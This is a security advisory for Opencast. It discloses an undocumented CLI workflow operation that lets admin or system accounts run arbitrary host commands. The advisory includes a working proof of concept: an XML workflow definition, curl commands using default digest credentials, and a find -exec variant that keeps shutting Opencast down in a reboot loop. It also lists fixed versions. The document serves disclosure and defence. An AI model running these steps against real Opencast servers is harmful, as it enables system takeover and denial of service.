Critical Security Issue Allowing Arbitrary Code Execution

[Lars Kiesow]

The Problem
===========

Opencast comes with workflow operations allowing users to execute
arbitrary commands on the host system while at the same time allowing
these users to set these commands through the web interface.

This allows users to inject and start workflow definitions for the
execution of arbitrary code. If Opencast is run with root privileges,
this will allow an attacker to easily gain full control over the system.
But even with limited access it enables several attacks.

As an example, later we will describe an effective denial of service
attack pushing Opencast into a reboot loop.

Simple Example
==============

Th execute a command like `echo Hello World` through Opencast, create a
simple workflow definition like this (`exec.xml`):

<?xml version="1.0" encoding="UTF-8"?>
<definition xmlns="http://workflow.opencastproject.org">
<id>exec</id>
<title>Execute echo</title>
…
<operations>
<operation
id="cli"
description="Run command">
<configurations>
<configuration key="exec">echo</configuration>
<configuration key="params">Hello World</configuration>
</configurations>
</operation>
</operations>
</definition>

Install this into the system and run it:

curl -f -i --request PUT --digest -u opencast_system_account:CHANGE_ME
-H "X-Requested-Auth: Digest"
https://octestallinone.virtuos.uos.de/workflow/definition
-F 'workflowDefinition=<exec.xml'

curl -f -i --digest -u opencast_system_account:CHANGE_ME
-H "X-Requested-Auth: Digest"
https://octestallinone.virtuos.uos.de/ingest/addMediaPackage/exec
-F title=123 -F flavor=presentation/source -F 'BODY=@exec.xml'

You can watch the logs to see that the command was being executed:

... Starting subprocess: echo
... Subprocess return data: Hello World

Note that you can easily find out about this operation by checking
the /workflow/handlers.json endpoint which will list the exec workflow
operation handler.

Example DoS Attack
- ------------------

Since Karaf is shut down via network port, you can make Opencast
automatically send this command when executing the workflow. You can
easily do that by using the official stop-opencast script, even if you
do not know the exact location by modifying the workflow above like
this:

<configuration key="exec">find</configuration>
<configuration key="params">/ -name stop-opencast -exec
{} ;</configuration>

Starting a workflow like this will find the stop script and execute it,
shutting down Opencast. Even better: If Opencast is restarted (manually
or automatically), the operation will automatically start again since
it never finished and will directly shut down Opencast again.

To fix that, you would need to manually edit your job database entries.

Who Can Execute An Attack
- -------------------------

For this exploit, you need to have an administrative or system user
account. This means, that every front-end user with ROLE_ADMIN can
execute it. But also, every third party system using the system DIGEST
account can execute it. This includes every single capture agent. Hence,
if you gain access to one of them, you get access to the Opencast
cluster.

Problematic Code
- ----------------

The exploit can be executed using the CLI WOH as described above. It is
undocumented code, not used by default.

The CLI WOH is part of the workflow-workflowoperation bundle and
shipped by default. However, it has no documentation at all and seems
to be nowhere mentioned or used.

Proposed Actions
----------------

The CLI workflow operation is something I have never seen used and it
is fully undocumented. I did not even knew that we had it when we
stumbled upon it yesterday. I do not think that anyone wants to fix it
(or is someone interested?). That is why I propose to remove it.

[…]

In any case, I think we should act soon due to the severity of the
issue. This means that there should be a fix or a removal of the woh
within the next three weeks.


Fix Versions
------------

The issue has been fixed in Opencast 2.2.5, 2.3.1 and 3.0


Credits
-------

The issue has been discovered and was fixed by

- Sven Haardiek (Greenbone Networks GmbH)
- Lars Kiesow (ELAN e.V.)